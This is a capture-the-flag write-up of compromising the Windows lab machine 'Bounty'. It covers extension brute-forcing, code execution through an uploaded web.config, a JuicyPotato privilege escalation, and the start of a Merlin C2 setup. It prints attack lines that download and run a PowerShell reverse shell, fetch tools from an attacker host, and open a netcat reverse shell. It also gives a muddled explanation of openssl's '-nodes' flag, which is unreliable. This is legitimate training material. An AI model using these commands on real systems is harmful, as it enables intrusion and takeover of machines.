**Bounty**

Difficulty: Easy

OS: Windows

**Nmap**

Doing the standard aggressive scan, we see port 80 is open. It is running IIS 7.5.

|  |
| --- |

**Enumeration**

Going to the website, we find a funny looking web page.

|  |
| --- |

First step when we see a web page is running a fuzz scan.

**NOTE**: I ended up having a lot of trouble on this. Looking it up, we are supposed to find the directory called “transfer.aspx”. This is a learning lesson to add extensions to the end of a FUZZ scan.

Going to the web page “transfer.aspx”, we see a basic browse and upload feature. Anything we upload will most likely be sent to “uploadedfiles” web directory. Testing out the functionality, I copy the initial picture from the site and am able to upload it.

|  |
| --- |

|  |
| --- |

Testing out the valid extensions, I find I am able to also upload a “png” file. I attempted to change the image to “aspx” but that failed to upload. I also attempted “jpg.aspx” and failed. When I attempted “aspx.jpg”, that file successfully uploaded.

Using this information, I then go and make an msfvenom payload and upload it. We do not get execution of any kind. I then attempted to upload an aspx shell (which I should have done in the first place). Still, no execution. Since we are now stuck, we have to take a step back. There may be other file extensions that can be uploaded.

To quickly test this out, we are going to make a list of extensions.

|  |
| --- |

After this, we set up our proxy to redirect to burpsuite. Upon entering the proxy on burpsuite, we press “Ctrl + I” to send the request to the “Intruder” section of burpsuite. In there, we will set up a brute force attack to enumerate the valid upload extensions.

|  |
| --- |

To get started, we click “Cear §”. This will remove all of that special character from the request. Then, we remove the extension from the file we just uploaded and replace it with a variable name. Before we do this, we need to add two “§”, then we can add the name. We are going to use “EXTENSION” as our variable. At the end, it should look like this

|  |
| --- |

Heading over to the “payloads” section of this attack, we upload our extensions file. What this will do is take the extensions we entered and send out requests until this list is exhausted, replacing the “EXTENSION” variable on each request.

|  |
| --- |

Finally, under the “Target” section, we can start the attack. Letting this finish, we get a list of responses. Inspecting these, we see the “config” extension had a response length of 1350 whereas the others had 1355. This gives us the impression that the “config” extension is a valid upload type.

|  |
| --- |

Testing this out, we upload the picture of the wizard but with the “config” extension. Upon doing so we get a success message back! We can also see this in the burpsuite response.

|  |
| --- |

Doing a quick google search for “RCE with aspx config”, we come across an article on modifying the “web.config” file on the server to then execute asp code for us. The section we are interested in for this exploit is the “2. Execute command using web.config in a subfolder/virtual directory”. This is due to the uploaded files folder being in a subdirectory - where our web.config will go.

<https://soroush.secproject.com/blog/tag/unrestricted-file-upload/>

Testing out the code, we see we have code execution since “3” is returned to us.

|  |
| --- |

Now that we have code execution, it is time to get a reverse shell.

**Reverse Shell**

Doing a google search for “asp reverse shell”, we find a lot of msfvenom examples, but those will not work for us. However, we also find a site telling us that default kali webshells are located in “/usr/share/webshells/asp/”. In there we find shellcode called “cmdasp.asp”. In it we see code for creating an object “oScript” with the “CreateObject” command which then uses the “Run” function to execute code after it does some piping. We are going to attempt this without the piping.

|  |
| --- |

To start this off, we will use nishang’s “Invoke-PowerShellTcp.ps1” and set up an http server. Then we will put the following code into the web.config.

| *Call Server.CreateObject("WSCRIPT.SHELL").Run("cmd.exe /c powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.14.34:8000/Invoke-PowerShellTcp.ps1')")* |
| --- |

Uploading the new “web.config” file gets us a shell.

|  |
| --- |

Doing a quick look at “systeminfo” we see there are no hotfixes installed.

**Privilege Escalation**

| *systeminfo* |
| --- |

We also check what privileges we have

| *Whoami /all* |
| --- |

What is interesting in our privileges is the various “Se” privileges. Searching some of these up, we find an article going over “Juicy Potato”

| *IEX(new-object net.webclient).downloadfile('http://10.10.14.34:8000/JuicyPotato.exe', 'C:\Users\merlin\Desktop\JuicyPotato.exe') -bypass executionpolicy* |
| --- |

For some reason the nishang script is throwing an error, but we are still able to upload the file.

To find what possible vulnerabilities this machine has, we upload Sherlock and execute it. We find the machine may be vulnerable to MS10-092 and/or MS15-051

| *iex(new-object net.webclient).downloadstring('http://10.10.14.34:8000/Sherlock.ps1');Find-AllVulns* |
| --- |

Going with our permissions found earlier, we have the ability to execute “Juicy Potato”. This takes advantage of SeImpersonatePrivilege and/or SeAssignPrimaryTokenPrivilege. To start this off, we first download and save the file onto the machine.

| *IEX(new-object net.webclient).downloadfile('http://10.10.14.34:8000/JuicyPotato.exe', 'C:\Users\merlin\Desktop\JuicyPotato.exe') -bypass executionpolicy* |
| --- |

After this, we need to create a script file to get the CLSID of the machine we are on. JuicyPotato requires this to run. The following is the script along with the commands used to create a file and append information to it.

| **New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY\_CLASSES\_ROOT | Out-Null**  **$CLSID = Get-ItemProperty HKCR:\clsid\\* | select-object AppID,@{N=”CLSID”; E={$\_.pschildname}} | where-object {$\_.appid -ne $null}**  **foreach($a in $CLSID)**  **{**  **Write-Host $a.CLSID**  **}**  *New-Item 'GetCLSID.ps1' -ItemType File*  *Add-Content -Path .\GetCLSID.ps1 -Value 'New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY\_CLASSES\_ROOT | Out-Null'*  *Add-Content -Path .\GetCLSID.ps1 -Value 'foreach($a in $CLSID) { Write-Host $a.CLSID }'* |
| --- |

With this complete, we have our script file. This would have been easier if we had created it on our local machine then uploaded it.

|  |
| --- |

ALTERNATIVE: UPLOADING

Make a file on linux, create it, then set up a python server to host and grab from. Once done, execute the standard IEX command to grab and make a file.

| *IEX(new-object net.webclient).downloadfile('http://10.10.14.34:8000/GetCLSID.ps1', 'C:\Users\merlin\Desktop\GetCLSID.ps1')* |
| --- |

Now that we have the file, we execute it with the following:

| *powershell -executionpolicy bypass -file GetCLSID.ps1 > clsid.txt* |
| --- |

Inspecting the “clsid.txt” file made after the script is complete, we see a long list of CLSIDs. Next we need a bat file to execute code for us. We are going to upload netcat and have the bat file execute netcat to send a shell back to us as root. This is what the file will look like:

| *C:\Users\merlin\Desktop\nc64.exe -e cmd.exe 10.10.14.34 9002* |
| --- |

Uploading the files with IEX downloadfile, we now have everything we need.

|  |
| --- |

Cmd /c “JuicyPotato.exe -p rev.bat -l 9002 -t \* -c {659cdea7-489e-11d9-a9cd-000d56965251}”

We then execute JuicyPotato. Apparently it needs to be executed with cmd and not powershell to work properly. Do this and try out a few CLSIDs until one hits.

| *cmd /c "JuicyPotato.exe -p rev.bat -l 9002 -t \* -c {659cdea7-489e-11d9-a9cd-000d56965251}"* |
| --- |

Going back to our netcat listener on port 9002, we get a response and are now NT/Authority.

|  |
| --- |

Some other writeups use a program called “Merlin”, a project found under github. It is similar to metasploit, but it uses HTTP 2.0 and requires an SSL certificate to function. We are going to do this.

First we need a x509 certificate which is used by SSL. First, we go into “/merlin/data/x509”. Next we generate a certificate.

| *openssl req -x509 -newkey rsa:4096 -sha256 -nodes -keyout server.key -out server.crt -subj "/CN=duck.bacon" -days 7* |
| --- |

The above command creates a new x509 SSL certificate using RSA 4096 bit encryption that does NO DES, meaning no symmetric encryption with the DES method. Finally, we output the key as “server.key” and the certificate as “server.crt” then place our CN name as “duck.bacon”. The certificate will expire in 7 days.